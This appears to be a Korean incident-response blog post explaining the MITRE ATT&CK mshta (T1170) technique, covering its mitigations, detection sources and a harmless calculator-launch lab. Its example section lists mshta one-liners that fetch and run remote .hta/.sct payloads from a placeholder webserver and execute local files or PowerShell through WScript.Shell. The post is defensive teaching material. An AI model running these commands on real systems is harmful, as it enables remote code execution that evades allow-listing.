[Incident Response] T1170 Mshta

 

ATT&CK Execution


(1) Execution이란?

  • 공격자는 내부 네트워크에서 악의적인 코드를 실행하고자 노력

  • 로컬이나 원격 시스템에서 악의적인 코드를 실행하는 기술로 구성

  • 절차(Procedure)를 진행하기 위해 다른 모든 전술(Tactis)의 기술(Techniques)과 짝을 이루어 활용

  • 예시

    • LNK 파일 내에 포함된 Powershell 명령 행 실행

    • 스피어피싱(Spearphishing) 메일 내에 .hta 확장자인 파일을 포함하여 실행하도록 유도

[그림 1] Execution


(2) Mshta란?

  • Mshta.exe는 Microsoft HTML 응용 프로그램(HTA)을 실행하는 유틸리티

  • HTA는 Internet Explorer와 동일한 모델 및 기술을 사용하지만 브라우저 외부에서 실행하는 독립 실행형 응용 프로그램

  • 공격자는 mshta.exe를 사용하여 신뢰할 수 있는 Windows 유틸리티를 통해 악성 .hta 파일 및 Javascript 또는 VBScript 실행을 프록시 가능

  • mshta.exe를 활용하는 다양한 위협으로 파일이 인라인 스크립트를 통해 mshta.exe에 의해 실행될 수 있으며 URL에서도 직접 실행이 가능

  • 또한 잠재적 사용을 설명하지 않는 이상 응용 프로그램 허용 목록 솔루션을 무시하는 데 사용 가능

  • mshta.exe는 Internet Explorer의 보안 외부에서 실행되므로 브라우저 보안 설정도 무시

  • 완화 방법으로는 비활성화/기능 제거, 실행 방지가 있음

  • 비활성화/기능 제거는 mshta.exe는 기능 수명이 다한 구 버전 Internet Explorer와 연결 되어 있으므로 지정된 환경 내에서 필요하지 않을 수 있음

  • 실행 방지는 mshta.exe의 실행을 차단하도록 구성된 응용 프로그램 화이트리스트를 사용하여 특정 시스템이나 네트워크에 필요하지 않은 경우 적의 오용을 방지


(3) Mshta 내용 정리

3-1. 정상 용도

  • Microsoft HTML Application(HTA) 파일을 실행하는 유틸리티

  • HTA 파일은 Internet Explorer 브라우저와 동일한 모델 / 기술 사용

  • 하지만, 브라우저 외부에서 독립적으로 실행 가능

3-2. 악의적 사용

  • 악성 HTA 파일을 제작하여 사용자에게 Spearphishing 가능

  • mshta.exe 유틸리티를 이용하여 VBScript 또는 Javascript 실행을 프록시 가능

  • Internet Explorer 브라우저의 보안 컨텍스트 외부에서 실행 (브라우저 보안 설정 무시)

3-3. 매개변수

  • .hta - Microsoft HTML Application File

3-4. 예제

  • mshta.exe T1170.hta

  • mshta http[:]//webserver/payload[.]hta

  • mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

  • mshta.exe javascript:a=(GetObject('script:#{file_url}')).Exec();close();

  • mshta.exe vbscript:Execute("MsgBox(""amessage"",64,""atitle"")(window.close)")

  • mshta.exe javascript:alert('test');

  • mshta.exe vbscript:Execute("CreateObject(""Wscript.Shell"").Run(""#{local_file_path}"")(window.close)")

  • mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -noexit- file $PathToAtomicsFolder\T1170\src\powershell.ps1"":close")

[그림 2] Internet Explorer 인터넷 옵션 사용 > 취약

 

[그림 3] Mshta 기법 예시 (1)

 

[그림 4] Mshta 기법 예시 (2)

 

[그림 5] Mshta 기법 예시 (3)


(4) Mshta 기법 실습

4-1. Sublime Text3 > Javascript 코드 작성

 

[그림 6] Javascript 코드 작성

 

  • Sublime Text3 실행

  • [그림 6]과 같이 Javascript 코드 작성

 

4-2-1. CMD(명령 프롬프트) > 코드 실행

 

[그림 7] HTA 파일 실행

 

  • CMD(명령 프롬프트) 실행

  • 작성한 HTA 코드 실행

  • 계산기 실행

  • 코드에 악성코드나 랜섬웨어 등을 심어놓을 수 있는 위험한 악성행위가 될 수 있음

 

4-2-2. 메시지 박스 실행 방법

 

[그림 8] 메시지 박스 실행

 

  • [그림 8]과 같은 명령으로 메시지 박스를 실행시키는 방법도 존재 


(5) Mshta 추가 내용

  • ID : T1170

  • 전술 : Defense Evasion, Execution

  • 플랫폼 : Windows

  • 필요 권한 : User

  • 데이터 소스

    • 프로세스 모니터링

    • 프로세스 명령 행 매개변수

  • 방어 우회

    • 응용 프로그램 허용 목록

    • 디지털 인증서 유효성 검사


# Reference

 

https://attack.mitre.org/techniques/T1170/

 

https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1170/T1170.md

+ Recent posts